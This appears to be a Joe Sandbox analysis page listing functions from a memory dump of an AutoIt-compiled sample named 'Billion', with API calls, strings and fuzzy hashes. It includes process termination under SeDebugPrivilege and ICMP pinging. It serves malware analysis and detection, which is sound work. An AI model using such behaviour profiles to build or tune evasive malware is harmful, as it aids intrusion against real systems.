Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: 0$ $0$ $TaskbarCreated
API String ID: 129472671-3218616665
Opcode ID: 413dce09280cef11d40a2ea83cbe6b9a8f32d5780a08d5387c3c001f9781ff35
Instruction ID: e37b5c650d3a8f7d5b926c78bad9853770b232cba9f37874adbae934e7063458
Opcode Fuzzy Hash: 413dce09280cef11d40a2ea83cbe6b9a8f32d5780a08d5387c3c001f9781ff35
Instruction Fuzzy Hash: 0141F6F1210344FBDB182B7CEC4DB793A69E714315F10422AF626861A2CB74DB49A769

Function 00133624 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 53
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00133657
RegisterClassExW.USER32(00000030), ref: 00133681
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00133692
InitCommonControlsEx.COMCTL32(?), ref: 001336AF
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 001336BF
LoadIconW.USER32(000000A9), ref: 001336D5
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 001336E4

Strings

+, xrefs: 00133640
AutoIt v3 GUI, xrefs: 00133673
TaskbarCreated, xrefs: 00133687
0, xrefs: 00133639

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: fe991fc6feeda2f89993d78c091d44d717d7d00c74a4fb824638ab3d9548988b
Instruction ID: 1178fc868716b2561a8c97f474cb9697490a3189d81a49ecfd32f76bd171a5b7
Opcode Fuzzy Hash: fe991fc6feeda2f89993d78c091d44d717d7d00c74a4fb824638ab3d9548988b
Instruction Fuzzy Hash: 2C21BFB5901318EFDB009FA8FD8DB9DBBB4FB08714F10412AF615A62A0D7B585888F95

Function 001709DB Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0017071A: CreateFileW.KERNEL32(00000000,00000000,?,00170A84,?,?,00000000,?,00170A84,00000000,0000000C), ref: 00170737

GetLastError.KERNEL32 ref: 00170AEF
__dosmaperr.LIBCMT ref: 00170AF6
GetFileType.KERNEL32(00000000), ref: 00170B02
GetLastError.KERNEL32 ref: 00170B0C
__dosmaperr.LIBCMT ref: 00170B15
CloseHandle.KERNEL32(00000000), ref: 00170B35
CloseHandle.KERNEL32(?), ref: 00170C7F
GetLastError.KERNEL32 ref: 00170CB1
__dosmaperr.LIBCMT ref: 00170CB8

Strings

H, xrefs: 00170C3D

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: 1ba3ba8aa27a42a5484769928a7c8d7c7f55345deeb573aa670ad20327518ee5
Instruction ID: 8253f9124bdcb3aa7623b1dec01e1b1d1b52eb74516aa77e5351517d5c99d69f
Opcode Fuzzy Hash: 1ba3ba8aa27a42a5484769928a7c8d7c7f55345deeb573aa670ad20327518ee5
Instruction Fuzzy Hash: 7CA12432A04349CFDF1AAF68D856BAE3BB1AB0A324F14415DF819DB2D1DB319D12CB51

Function 001352A7 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00135594: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,?,?,00174B76,?,?,00000100,00000000,00000000,CMDLINE,?,?,00000001,00000000), ref: 001355B2

Part of subcall function 00135238: GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 0013525A

RegOpenKeyExW.KERNEL32(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 001353C4
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 00174BFD
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 00174C3E
RegCloseKey.ADVAPI32(?), ref: 00174C80
_wcslen.LIBCMT ref: 00174CE7
_wcslen.LIBCMT ref: 00174CF6

Strings

\, xrefs: 00174CFC
\Include\, xrefs: 00135381
Include, xrefs: 00174BF4, 00174C35
Software\AutoIt v3\AutoIt, xrefs: 001353BA

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: NameQueryValue_wcslen$CloseFileFullModuleOpenPath
String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 98802146-2727554177
Opcode ID: 1166705f66893b284e880590e21e6dcf93fcca26385ed2aeefe9b5ae33b4739e
Instruction ID: d1e5fccef047bd01292a904901526435cbaffd2f125d2541187692940c7e33b8
Opcode Fuzzy Hash: 1166705f66893b284e880590e21e6dcf93fcca26385ed2aeefe9b5ae33b4739e
Instruction Fuzzy Hash: 68718971504300AFC304EF69E88599ABBECFFA8740F80442EF545971A2EB719A48CB92

Function 001334D3 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 63
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 001334DE
LoadCursorW.USER32(00000000,00007F00), ref: 001334ED
LoadIconW.USER32(00000063), ref: 00133503
LoadIconW.USER32(000000A4), ref: 00133515
LoadIconW.USER32(000000A2), ref: 00133527
LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 0013353F
RegisterClassExW.USER32(?), ref: 00133590

Part of subcall function 00133624: GetSysColorBrush.USER32(0000000F), ref: 00133657
Part of subcall function 00133624: RegisterClassExW.USER32(00000030), ref: 00133681
Part of subcall function 00133624: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00133692
Part of subcall function 00133624: InitCommonControlsEx.COMCTL32(?), ref: 001336AF
Part of subcall function 00133624: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 001336BF
Part of subcall function 00133624: LoadIconW.USER32(000000A9), ref: 001336D5
Part of subcall function 00133624: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 001336E4

Strings

#, xrefs: 00133566
AutoIt v3, xrefs: 0013357F
0, xrefs: 0013355F

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: e0d5ad30104203b7864c7c86aa98062d0d6997b867b9eb9b7cdba82aea16ccb6
Instruction ID: 90545d9f10a725a5b1c7686f917d8c4f31770f1f5701f31cd6bce75e84d868d4
Opcode Fuzzy Hash: e0d5ad30104203b7864c7c86aa98062d0d6997b867b9eb9b7cdba82aea16ccb6
Instruction Fuzzy Hash: 66211D70D00354EBDB109FA5FC5DA99BFB8FB48B54F00406BE604A62A1D7B945898F94

Function 0013F6D0 Relevance: 17.2, APIs: 2, Strings: 7, Instructions: 1414COMMON

Download Yara Rule

Strings

t5 , xrefs: 0013FBB1
t5 , xrefs: 0013F8E0
Variable must be of type 'Object'., xrefs: 001848C6
t5 , xrefs: 0018463C
t5 , xrefs: 001845E9
`, xrefs: 0013FAED, 0013FBAC, 0013FBBA, 0013FBC8, 0013FBDC, 0013FF81, 0013FF89, 0013FFA2, 0013FFAD, 00140027, 0014002F, 00140052, 0014005D, 00184660
t5 t5 , xrefs: 0013F97E

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID:
String ID: Variable must be of type 'Object'.$t5 $t5 $t5 $t5 $t5 t5 $`
API String ID: 0-2097392079
Opcode ID: b747929d7794ac13fa22440387ced8906929a632cbd0166decb206aaa140ffa1
Instruction ID: ba9cd3fb99d8d9ea95437d3225e55c3bdaeb6c7b8638239dc85e56bee3faf1b3
Opcode Fuzzy Hash: b747929d7794ac13fa22440387ced8906929a632cbd0166decb206aaa140ffa1
Instruction Fuzzy Hash: 83C28771E00605DFCB24DF98C880BADB7B1FF19310F25816AE915AB2A1D775EE42CB91

Function 00140340 Relevance: 17.0, APIs: 3, Strings: 6, Instructions: 1236COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 001415F2

Strings

t5 , xrefs: 0018604D
t5 t5 , xrefs: 0014075B
t5 , xrefs: 00140A6A
t5 , xrefs: 001406B7
t5 , xrefs: 00185FF9
`, xrefs: 00140972, 00140A65, 00140A74, 00140A82, 00140A96, 00140B3F, 00140B47, 00140B5E, 00140B6B, 00140C2B, 00140C33, 00140C4A, 00140C57, 00186071

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Init_thread_footer
String ID: t5 $t5 $t5 $t5 $t5 t5 $`
API String ID: 1385522511-678494459
Opcode ID: d7ae0aa0bd717eb5dbc0e758282f1e22c0b922a2dc788380502512c1f9c5042b
Instruction ID: a9e758a44cdd5919bfd2c04784868933bc5426d5678c50cb0426b423b6bb3ee4
Opcode Fuzzy Hash: d7ae0aa0bd717eb5dbc0e758282f1e22c0b922a2dc788380502512c1f9c5042b
Instruction Fuzzy Hash: E9B28C74A08300CFD729DF15C480A2AB7E1BF99304F25495DEA998B3A2D771ED85CF92

Function 001B0FB8 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 207
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32(00000101,?), ref: 001B1019
inet_addr.WSOCK32(?), ref: 001B1079
gethostbyname.WS2_32(?), ref: 001B1085
IcmpCreateFile.IPHLPAPI ref: 001B1093
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 001B1123
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 001B1142
IcmpCloseHandle.IPHLPAPI(?), ref: 001B1216
WSACleanup.WSOCK32 ref: 001B121C

Strings

Ping, xrefs: 001B10D3

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: 94cc2f29d44837d0bdb5eb018ecf7db57d16bd60c7738fa5a1c1463b04f75673
Instruction ID: 44e64181360f84b44ae5b48e15652326d39a865375011dba133d3ced3835bf57
Opcode Fuzzy Hash: 94cc2f29d44837d0bdb5eb018ecf7db57d16bd60c7738fa5a1c1463b04f75673
Instruction Fuzzy Hash: F191B171604201AFD720DF29C899F56BBE0FF48318F5A85A9F5658B6A2C730ED85CB81

Function 00132793 Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 153
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0013327E: MapVirtualKeyW.USER32(0000005B,00000000), ref: 001332AF
Part of subcall function 0013327E: MapVirtualKeyW.USER32(00000010,00000000), ref: 001332B7
Part of subcall function 0013327E: MapVirtualKeyW.USER32(000000A0,00000000), ref: 001332C2
Part of subcall function 0013327E: MapVirtualKeyW.USER32(000000A1,00000000), ref: 001332CD
Part of subcall function 0013327E: MapVirtualKeyW.USER32(00000011,00000000), ref: 001332D5
Part of subcall function 0013327E: MapVirtualKeyW.USER32(00000012,00000000), ref: 001332DD

Part of subcall function 00133205: RegisterWindowMessageW.USER32(00000004,?,00132964), ref: 0013325D

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 00132A0A
OleInitialize.OLE32 ref: 00132A28
CloseHandle.KERNEL32(00000000,00000000), ref: 00173A0D

Strings

$ , xrefs: 0013280A
(& , xrefs: 00132932
0$ , xrefs: 00132A2E
4' , xrefs: 00132948
d( , xrefs: 00132964

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID: (& $0$ $4' $d( $$
API String ID: 1986988660-1076921426
Opcode ID: d3830fd7ac0757729a35899abc90b26c128a0d42239fcb3cd8d1833fd3242699
Instruction ID: 70d91a970f92cb35b1c04999bfdd3f120846dde8787888ed3b9b30e6e7bd2252
Opcode Fuzzy Hash: d3830fd7ac0757729a35899abc90b26c128a0d42239fcb3cd8d1833fd3242699
Instruction Fuzzy Hash: 5A7167B4911300CEC789EF69BEAD6157EE4FB68304790912BE018D72A3EB70854D8F68

Function 001690C5 Relevance: 13.8, APIs: 9, Instructions: 300
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac4ab92022cfcff3b941e38bea505153df3a4b65bed80a84df46068a9a1bd97b
Instruction ID: a5a16568acc146ca14a662293d84f6f43169f2b3f02488052eb778dc45f5f4a4
Opcode Fuzzy Hash: ac4ab92022cfcff3b941e38bea505153df3a4b65bed80a84df46068a9a1bd97b
Instruction Fuzzy Hash: 5DC102B0A04349AFCF11DFA8DC45BADBBB8BF19310F144199E814AB3D2C7349962CB61

Function 001BAB3F Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 160
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0019DD87: CreateToolhelp32Snapshot.KERNEL32 ref: 0019DDAC
Part of subcall function 0019DD87: Process32FirstW.KERNEL32(00000000,?), ref: 0019DDBA
Part of subcall function 0019DD87: CloseHandle.KERNEL32(00000000), ref: 0019DE87

OpenProcess.KERNEL32(00000001,00000000,?), ref: 001BABCA
GetLastError.KERNEL32 ref: 001BABDD
OpenProcess.KERNEL32(00000001,00000000,?), ref: 001BAC10
TerminateProcess.KERNEL32(00000000,00000000), ref: 001BACC5
GetLastError.KERNEL32(00000000), ref: 001BACD0
CloseHandle.KERNEL32(00000000), ref: 001BAD21

Strings

SeDebugPrivilege, xrefs: 001BABEC

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: dfada2eee4ac867bc276633ada85b1198a51127374bb4f694012e0e50b545e5e
Instruction ID: a04bfb4070932fb1b3e5a48b519a9ccadd014da54c2de9666ea34d9a6aafa705
Opcode Fuzzy Hash: dfada2eee4ac867bc276633ada85b1198a51127374bb4f694012e0e50b545e5e
Instruction Fuzzy Hash: 1961C1B0204641AFD720DF15C495F65BBE1AF54318F98849CF4668BBA3C771EC85CB92

Function 001335B3 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 001335E1
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00133602
ShowWindow.USER32(00000000,?,?,?,?,?,?,00133368,?), ref: 00133616
ShowWindow.USER32(00000000,?,?,?,?,?,?,00133368,?), ref: 0013361F

Strings

AutoIt v3, xrefs: 001335D9, 001335DE, 001335DF
edit, xrefs: 001335FC

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: c28aacb0f17a5f585ec4b6034d02f528ba68f01130f166c06b5cf9e2fcf157a0
Instruction ID: 4ed184e5bc47a44c4fffed6553554e36b97fe493a2e6f9d6a20099f1ba7414fd
Opcode Fuzzy Hash: c28aacb0f17a5f585ec4b6034d02f528ba68f01130f166c06b5cf9e2fcf157a0
Instruction Fuzzy Hash: A2F0B771640394BAE72157177C0CE373EBDD7C6F54B00006FB904A7561D6695899DAB0

Function 001361A9 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 122
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 00175287

Part of subcall function 00138577: _wcslen.LIBCMT ref: 0013858A

Shell_NotifyIconW.SHELL32(00000001,?), ref: 00136299

Strings

Line %d: , xrefs: 00175305
AutoIt - , xrefs: 0013620D

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: IconLoadNotifyShell_String_wcslen
String ID: Line %d: $AutoIt -
API String ID: 2289894680-4094128768
Opcode ID: 0433511e224a36b3fea2d14fccc28491cf2fd61beaaa351a69e584b2f78a911b
Instruction ID: 6bd63186dc7f7d3e9f40d134b0144da9b55faee4a19b62c050dab1e44b8a4036
Opcode Fuzzy Hash: 0433511e224a36b3fea2d14fccc28491cf2fd61beaaa351a69e584b2f78a911b
Instruction Fuzzy Hash: B241B671408304AAC714EB60EC49EDFB7ECAF65314F00862EF999920A2EF74D649C792

Function 001358CB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000001,Control Panel\Mouse,00000000,00000001,00000000,?,?,80000001,80000001,?,001358BE,SwapMouseButtons,00000004,?), ref: 001358EF
RegQueryValueExW.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,80000001,80000001,?,001358BE,SwapMouseButtons,00000004,?), ref: 00135910
RegCloseKey.KERNEL32(00000000,?,?,?,80000001,80000001,?,001358BE,SwapMouseButtons,00000004,?), ref: 00135932

Strings

Control Panel\Mouse, xrefs: 001358ED

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: f30ce8ba0d5076932639c576081373a0e24f13821744c47417bc0a82167d7341
Instruction ID: 1a1d1632efe3049c50f7bcbe505f2d7d259943bed1a6a000490b6ddd9d67c86e
Opcode Fuzzy Hash: f30ce8ba0d5076932639c576081373a0e24f13821744c47417bc0a82167d7341
Instruction Fuzzy Hash: BF115AB5510618FFDB218FA8DC80EAEBBB9EF00B64F104469F801E7210E3319E519760

Function 0013F238 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 29windowsleepCOMMON

Download Yara Rule

APIs

TranslateMessage.USER32(?), ref: 0013F27B
DispatchMessageW.USER32(?), ref: 0013F289
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0013F29F
Sleep.KERNEL32(0000000A), ref: 0013F2B1
TranslateAcceleratorW.USER32(?,?,?), ref: 001832D8

Strings

( , xrefs: 0013F264

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Message$Translate$AcceleratorDispatchPeekSleep
String ID: (
API String ID: 3288985973-2181176062
Opcode ID: 4a5190036c72aa160e2f49a663964af2fe552416a0b338257c1e5e69eba0db19
Instruction ID: f89c53b1c9ac0aac35a416360feb88c8db9ff04049c82b26c4d906adeed2f0fb
Opcode Fuzzy Hash: 4a5190036c72aa160e2f49a663964af2fe552416a0b338257c1e5e69eba0db19
Instruction Fuzzy Hash: 65F05E30604344DBEB749BA0DC89FAA77ADAB44714F104929E219930D0DB70D5888B25

Function 0015014B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

